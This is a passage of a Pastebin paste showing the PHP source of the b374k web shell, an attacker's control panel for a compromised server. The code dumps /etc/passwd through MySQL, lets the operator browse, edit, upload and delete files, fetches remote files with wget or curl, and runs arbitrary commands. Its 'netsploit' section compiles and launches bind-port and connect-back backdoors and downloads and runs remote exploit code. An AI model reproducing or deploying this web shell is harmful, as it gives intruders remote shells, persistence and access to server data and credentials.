  675.         if(isset($_GET['table'])) $msg .= "&nbsp;&nbsp;<span class=\"gaya\">-&gt;</span>&nbsp;&nbsp;<a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."&amp;table=".$_GET['table']."\">".htmlspecialchars($_GET['table'])."</a>";
  676.         $msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";
  677.         $msg .= "</div>";
  678.         echo $msg;
  679.         if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){
  680.             $db = $_GET['db'];
  681.             $query = "DROP TABLE IF EXISTS b374k_table;\nCREATE TABLE `b374k_table` ( `file` LONGBLOB NOT NULL );\nLOAD DATA INFILE \"/etc/passwd\"\nINTO TABLE b374k_table;SELECT * FROM b374k_table;\nDROP TABLE IF EXISTS b374k_table;";
  682.             $msg  = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
  683.             <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  684.             <input type=\"hidden\" name=\"x\" value=\"mysql\" />
  685.             <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
  686.             <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
  687.             <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
  688.             <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
  689.             <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
  690.             <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">$query</textarea></p>
  691.             <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p>
  692.             </form></div>
  693.             ";
  694.  
  695.  
  696.             // show available tables
  697.             $tables = array();
  698.             $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available tables on ".$db."</th></tr>";
  699.             $hasil = @mysql_list_tables($db,$con);     
  700.             while(list($table) = @mysql_fetch_row($hasil)){
  701.                 @array_push($tables,$table);
  702.             }
  703.             @sort($tables);
  704.             foreach($tables as $table){
  705.                 $msg .= "<tr><td><a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."&amp;table=".$table."\">$table</a></td></tr>";
  706.             }
  707.             $msg .= "</table>";
  708.         }
  709.         elseif(isset($_GET['table']) && (!isset($_GET['sqlquery']))){
  710.             // dump tables
  711.             $db = $_GET['db'];
  712.             $table = $_GET['table'];
  713.             $query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;";
  714.             $msgq  = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
  715.             <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  716.             <input type=\"hidden\" name=\"x\" value=\"mysql\" />
  717.             <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
  718.             <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
  719.             <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
  720.             <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
  721.             <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
  722.             <input type=\"hidden\" name=\"table\" value=\"".$table."\" />
  723.             <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
  724.             <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p>
  725.             </form></div>
  726.             ";
  727.             $columns = array();
  728.             $msg = "<table class=\"explore\" style=\"width:99%;\">";
  729.             $hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);     
  730.             while(list($column) = @mysql_fetch_row($hasil)){
  731.                 $msg .= "<th>$column</th>";
  732.                 $kolum = $column;
  733.             }
  734.             $msg .= "</tr>";
  735.             $hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table);
  736.             list($total) = mysql_fetch_row($hasil);    
  737.             if(isset($_GET['z'])) $page = (int) $_GET['z'];
  738.             else $page = 1;
  739.             $pagenum = 100;
  740.             $totpage = ceil($total / $pagenum);
  741.             $start = (($page - 1) * $pagenum);         
  742.             $hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum);
  743.             while($datas = @mysql_fetch_assoc($hasil)){
  744.                 $msg .= "<tr>";
  745.                 foreach($datas as $data){
  746.                     if(trim($data) == "") $data = "&nbsp;";
  747.                     $msg .= "<td>$data</td>";
  748.                 }
  749.                 $msg .= "</tr>";
  750.             }
  751.             $msg .= "</table>";
  752.            
  753.            
  754.             $head = "<div style=\"padding:10px 0 0 6px;\">
  755.             <form action=\"?\" method=\"get\">
  756.             <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  757.             <input type=\"hidden\" name=\"x\" value=\"mysql\" />
  758.             <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
  759.             <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
  760.             <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
  761.             <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
  762.             <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
  763.             <input type=\"hidden\" name=\"table\" value=\"".$table."\" />
  764.             Page <select class=\"inputz\" name=\"z\" onchange=\"this.form.submit();\">";
  765.             for($i = 1;$i <= $totpage;$i++){
  766.                 $head .= "<option value=\"".$i."\">".$i."</option>";
  767.                 if($i == $_GET['z']) $head .= "<option value=\"".$i."\" selected=\"selected\">".$i."</option>";
  768.             }
  769.             $head .= "</select><noscript><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" /></noscript></form></div>";
  770.             $msg = $msgq.$head.$msg;
  771.         }
  772.         elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){
  773.             $db = $_GET['db'];
  774.             $query = magicboom($_GET['sqlquery']);
  775.             $msg  = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
  776.             <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  777.             <input type=\"hidden\" name=\"x\" value=\"mysql\" />
  778.             <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
  779.             <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
  780.             <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
  781.             <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
  782.             <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
  783.             <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
  784.             <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p>
  785.             </form></div>
  786.             ";
  787.             @mysql_select_db($db);
  788.             $querys = explode(";",$query);
  789.             foreach($querys as $query){
  790.               if(trim($query) != ""){
  791.                 $hasil = mysql_query($query);
  792.                 if($hasil){
  793.                     $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;<span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>";
  794.                     $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr>";
  795.                     for($i=0;$i<@mysql_num_fields($hasil);$i++)
  796.                         $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";
  797.                     $msg .= "</tr>";
  798.                     for($i=0;$i<@mysql_num_rows($hasil);$i++)
  799.                     {
  800.                         $rows=@mysql_fetch_array($hasil);
  801.                         $msg .= "<tr>";
  802.                         for($j=0;$j<@mysql_num_fields($hasil);$j++)
  803.                         {
  804.                             if($rows[$j] == "") $dataz = "&nbsp;";
  805.                             else $dataz = $rows[$j];
  806.                             $msg .= "<td>".$dataz."</td>";
  807.                         }
  808.                         $msg .= "</tr>";
  809.                     }
  810.                     $msg .= "</table>";
  811.                 }
  812.                 else $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;<span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";       
  813.               }
  814.             }
  815.         }
  816.         else {
  817.             $query = "SHOW PROCESSLIST;\nSHOW VARIABLES;\nSHOW STATUS;";
  818.             $msg  = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
  819.             <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  820.             <input type=\"hidden\" name=\"x\" value=\"mysql\" />
  821.             <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
  822.             <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
  823.             <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
  824.             <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
  825.             <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
  826.             <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
  827.             <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p>
  828.             </form></div>
  829.             ";
  830.             // show available database
  831.             $dbs = array();
  832.             $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available databases</th></tr>";
  833.             $hasil = @mysql_list_dbs($con);    
  834.             while(list($db) = @mysql_fetch_row($hasil)){
  835.                 @array_push($dbs,$db);
  836.             }
  837.             @sort($dbs);   
  838.             foreach($dbs as $db){
  839.                 $msg .= "<tr><td><a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."\">$db</a></td></tr>";
  840.             }
  841.             $msg .= "</table>";
  842.         }
  843.         @mysql_close($con);
  844.     }
  845.     else $msg = "<p style=\"text-align:center;\">cant connect to mysql server</p>";
  846.  
  847.  
  848.     echo $msg;
  849. }
  850. else{
  851. ?>
  852. <form action="?" method="get">
  853. <input type="hidden" name="y" value="<?php echo $pwd; ?>" />
  854. <input type="hidden" name="x" value="mysql" />
  855. <table class="tabnet" style="width:300px;">
  856. <tr><th colspan="2">Connect to mySQL server</th></tr>
  857. <tr><td>&nbsp;&nbsp;Host</td><td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr>
  858. <tr><td>&nbsp;&nbsp;Username</td><td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr>
  859. <tr><td>&nbsp;&nbsp;Password</td><td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr>
  860. <tr><td>&nbsp;&nbsp;Port</td><td><input  style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" />&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td></tr>
  861. </table>
  862. </form>
  863. <?php }}
  864. elseif(isset($_GET['x']) && ($_GET['x'] == 'mail')){
  865. if(isset($_POST['mail_send'])){
  866.     $mail_to = $_POST['mail_to'];
  867.     $mail_from = $_POST['mail_from'];
  868.     $mail_subject = $_POST['mail_subject'];
  869.     $mail_content = magicboom($_POST['mail_content']);
  870.     if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from")){
  871.         $msg = "email sent to $mail_to";
  872.     }
  873.     else $msg = "send email failed";
  874. }
  875. ?>
  876. <form action="?y=<?php echo $pwd; ?>&amp;x=mail" method="post">
  877. <table class="cmdbox">
  878. <tr><td>
  879. <textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey there, please patch me ASAP ;-p</textarea>
  880. <tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_to" />&nbsp; mail to</td></tr>
  881. <tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_from" />&nbsp; from</td></tr>
  882. <tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" />&nbsp; subject</td></tr>
  883. <tr><td>&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr></form>
  884. <tr><td>&nbsp;&nbsp;&nbsp;&nbsp;<?php echo $msg; ?></td></tr>
  885. </table>
  886. </form>
  887.  
  888. <?php }
  889.  
  890.  
  891. elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){
  892.     @ob_start();
  893.     @eval("phpinfo();");
  894.     $buff = @ob_get_contents();
  895.     @ob_end_clean();   
  896.     $awal = strpos($buff,"<body>")+6;
  897.     $akhir = strpos($buff,"</body>");
  898.     echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
  899. }
  900. elseif(isset($_GET['view']) && ($_GET['view'] != "")){
  901.   if(is_file($_GET['view'])){
  902.     if(!isset($file)) $file = magicboom($_GET['view']);
  903.     if(!$win && $posix){
  904.         $name=@posix_getpwuid(@fileowner($folder));
  905.         $group=@posix_getgrgid(@filegroup($folder));
  906.         $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  907.     }
  908.     else {
  909.         $owner = $user;
  910.     }
  911.     $filn = basename($file);
  912.     echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
  913.     <tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span>
  914.     <form action=\"?y=".$pwd."&amp;view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  915.         <input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
  916.         <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
  917.         <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  918.         <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
  919.     </form>
  920.     </td></tr>
  921.     <tr><td>Size</td><td>".ukuran($file)."</td></tr>
  922.     <tr><td>Permission</td><td>".get_perms($file)."</td></tr>
  923.     <tr><td>Owner</td><td>".$owner."</td></tr>
  924.     <tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
  925.     <tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
  926.     <tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
  927.     <tr><td>Actions</td><td><a href=\"?y=$pwd&amp;edit=$file\">edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$file\">delete</a> | <a href=\"?y=$pwd&amp;dl=$file\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$file\">gzip</a>)</td></tr>
  928.     <tr><td>View</td><td><a href=\"?y=".$pwd."&amp;view=".$file."\">text</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=code\">code</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=image\">image</a></td></tr>
  929.     </table>
  930.     ";
  931.     if(isset($_GET['type']) && ($_GET['type']=='image')){
  932.         echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&amp;img=".$filn."\"></div>";
  933.     }
  934.     elseif(isset($_GET['type']) && ($_GET['type']=='code')){
  935.         echo "<div class=\"viewfile\">";
  936.         $file = wordwrap(@file_get_contents($file),"240","\n");
  937.         @highlight_string($file);
  938.         echo "</div>";
  939.     }
  940.     else {
  941.         echo "<div class=\"viewfile\">";
  942.         echo nl2br(htmlentities((@file_get_contents($file))));
  943.         echo "</div>";
  944.     }
  945.   }
  946.   elseif(is_dir($_GET['view'])){
  947.         echo showdir($pwd,$prompt);
  948.   }
  949.    
  950. }
  951. elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){
  952.  
  953.         if(isset($_POST['save'])){
  954.             $file = $_POST['saveas'];
  955.             $content = magicboom($_POST['content']);
  956.             if($filez = @fopen($file,"w")){
  957.                 $time = date("d-M-Y H:i",time());
  958.                 if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time;
  959.                 else $msg = "failed to save";
  960.                 @fclose($filez);
  961.             }
  962.             else $msg = "permission denied";
  963.         }
  964.         if(!isset($file)) $file = $_GET['edit'];
  965.         if($filez = @fopen($file,"r")){
  966.             $content = "";
  967.             while(!feof($filez)){
  968.                 $content .= htmlentities(str_replace("''","'",fgets($filez)));
  969.             }
  970.             @fclose($filez);
  971.         }
  972.    
  973. ?>
  974. <form action="?y=<?php echo $pwd; ?>&amp;edit=<?php echo $file; ?>" method="post">
  975. <table class="cmdbox">
  976. <tr><td colspan="2">
  977. <textarea class="output" name="content">
  978. <?php echo $content; ?>
  979. </textarea>
  980. <tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
  981. &nbsp;<?php echo $msg; ?></td></tr>
  982. </table>
  983. </form>
  984. <?php
  985. }
  986. elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){
  987. if(isset($_POST['uploadcomp'])){
  988.     if(is_uploaded_file($_FILES['file']['tmp_name'])){
  989.         $path = magicboom($_POST['path']);
  990.         $fname = $_FILES['file']['name'];
  991.         $tmp_name = $_FILES['file']['tmp_name'];
  992.         $pindah = $path.$fname;
  993.         $stat = @move_uploaded_file($tmp_name,$pindah);    
  994.         if ($stat) {
  995.             $msg = "file uploaded to $pindah";
  996.         }
  997.         else $msg = "failed to upload $fname";
  998.     }
  999.     else $msg = "failed to upload $fname";
  1000. }
  1001. elseif(isset($_POST['uploadurl'])){
  1002.     $pilihan = trim($_POST['pilihan']);
  1003.     $wurl = trim($_POST['wurl']);
  1004.     $path = magicboom($_POST['path']);
  1005.     $namafile = download($pilihan,$wurl);
  1006.     $pindah = $path.$namafile;
  1007.     if(is_file($pindah)) {
  1008.         $msg = "file uploaded to $pindah";
  1009.     }
  1010.     else $msg = "failed to upload $namafile";
  1011.  
  1012. }
  1013. ?>
  1014. <form action="?y=<?php echo $pwd; ?>&amp;x=upload" enctype="multipart/form-data" method="post">
  1015. <table class="tabnet" style="width:320px;padding:0 1px;">
  1016. <tr><th colspan="2">Upload from computer</th></tr>
  1017. <tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
  1018. <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
  1019. </tr>
  1020. </table></form>
  1021. <table class="tabnet" style="width:320px;padding:0 1px;">
  1022. <tr><th colspan="2">Upload from url</th></tr>
  1023. <tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&amp;x=upload">
  1024. <table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
  1025. <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
  1026. <tr><td><select size="1" class="inputz" name="pilihan">
  1027. <option value="wwget">wget</option>
  1028. <option value="wlynx">lynx</option>
  1029. <option value="wfread">fread</option>
  1030. <option value="wfetch">fetch</option>
  1031. <option value="wlinks">links</option>
  1032. <option value="wget">GET</option>
  1033. <option value="wcurl">curl</option>
  1034. </select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
  1035. </tr>
  1036. </table>
  1037. <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
  1038. <?php }
  1039. elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){
  1040.  
  1041. // bind connect with c
  1042. if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
  1043.     $port = trim($_POST['port']);
  1044.     $passwrd = trim($_POST['bind_pass']);
  1045.     tulis("bdc.c",$port_bind_bd_c);
  1046.     exe("gcc -o bdc bdc.c");
  1047.     exe("chmod 777 bdc");
  1048.     @unlink("bdc.c");
  1049.     exe("./bdc ".$port." ".$passwrd." &");
  1050.     $scan = exe("ps aux");
  1051.     if(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
  1052.     else { $msg =  "<p>Process not found running, backdoor not setup successfully.</p>"; }
  1053. }
  1054. // bind connect with perl
  1055. elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
  1056.     $port = trim($_POST['port']);
  1057.     $passwrd = trim($_POST['bind_pass']);
  1058.     tulis("bdp",$port_bind_bd_pl);
  1059.     exe("chmod 777 bdp");
  1060.     $p2=which("perl");
  1061.     exe($p2." bdp ".$port." &");
  1062.     $scan = exe("ps aux");
  1063.     if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
  1064.     else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
  1065. }
  1066. // back connect with c
  1067. elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
  1068.     $ip = trim($_POST['ip']);
  1069.     $port = trim($_POST['backport']);
  1070.     tulis("bcc.c",$back_connect_c);
  1071.     exe("gcc -o bcc bcc.c");
  1072.     exe("chmod 777 bcc");
  1073.     @unlink("bcc.c");
  1074.     exe("./bcc ".$ip." ".$port." &");
  1075.     $msg = "Now script try connect to ".$ip." port ".$port." ...";
  1076. }
  1077. // back connect with perl
  1078. elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
  1079.     $ip = trim($_POST['ip']);
  1080.     $port = trim($_POST['backport']);
  1081.     tulis("bcp",$back_connect);
  1082.     exe("chmod +x bcp");
  1083.     $p2=which("perl");
  1084.     exe($p2." bcp ".$ip." ".$port." &");
  1085.     $msg = "Now script try connect to ".$ip." port ".$port." ...";
  1086. }
  1087. elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd']))
  1088. {
  1089.     $pilihan = trim($_POST['pilihan']);
  1090.     $wurl = trim($_POST['wurl']);
  1091.     $namafile = download($pilihan,$wurl);
  1092.     if(is_file($namafile)) {
  1093.    
  1094.     $msg = exe($wcmd);
  1095.     }
  1096.     else $msg = "error: file not found $namafile";
  1097. }
  1098.  
  1099. ?>
  1100. <table class="tabnet">
  1101. <tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr>
  1102. <tr>
  1103. <td>
  1104. <table>
  1105. <form method="post" actions="?y=<?php echo $pwd; ?>&amp;x=netsploit">
  1106. <tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
  1107. <tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
  1108. <tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
  1109. <input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>
  1110. </table>
  1111. </td>
  1112. <td>
  1113. <table>
  1114. <form method="post" actions="?y=<?php echo $pwd; ?>&amp;x=netsploit">
  1115. <tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>"></td></tr>
  1116. <tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
  1117. <tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
  1118. <input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>
  1119. </table>
  1120. </td>
  1121. <td>
  1122. <table>
  1123. <form method="post" actions="?y=<?php echo $pwd; ?>&amp;x=netsploit">
  1124. <tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
  1125. <tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
  1126. </tr>
  1127. <tr><td><select size="1" class="inputz" name="pilihan">
  1128. <option value="wwget">wget</option>
  1129. <option value="wlynx">lynx</option>
  1130. <option value="wfread">fread</option>
  1131. <option value="wfetch">fetch</option>
  1132. <option value="wlinks">links</option>
  1133. <option value="wget">GET</option>
  1134. <option value="wcurl">curl</option>
  1135. </select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>
  1136. </table>
  1137. </td>
  1138. </tr>
  1139. </table>
  1140. <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
  1141. <?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){  ?>
  1142. <form action="?y=<?php echo $pwd; ?>&amp;x=shell" method="post">
  1143. <table class="cmdbox">
  1144. <tr><td colspan="2">
  1145. <textarea class="output" readonly>
  1146. <?php
  1147. if(isset($_POST['submitcmd'])) {
  1148.     echo @exe($_POST['cmd']);
  1149. }
  1150. ?>
  1151. </textarea>
  1152. <tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
  1153. </table>
  1154. </form>
  1155. <?php }
  1156. else {
  1157. if(isset($_GET['delete']) && ($_GET['delete'] != "")){
  1158.     $file = $_GET['delete'];
  1159.     @unlink($file);
  1160. }
  1161. elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){
  1162.     @rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));
  1163. }
  1164. elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){
  1165.     $path = $pwd.$_GET['mkdir'];
  1166.     @mkdir($path);
  1167. }
  1168.     $buff = showdir($pwd,$prompt);
  1169.     echo $buff;
  1170. }
  1171. ?>
  1172. </div>
  1173. </body>
  1174. </html>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!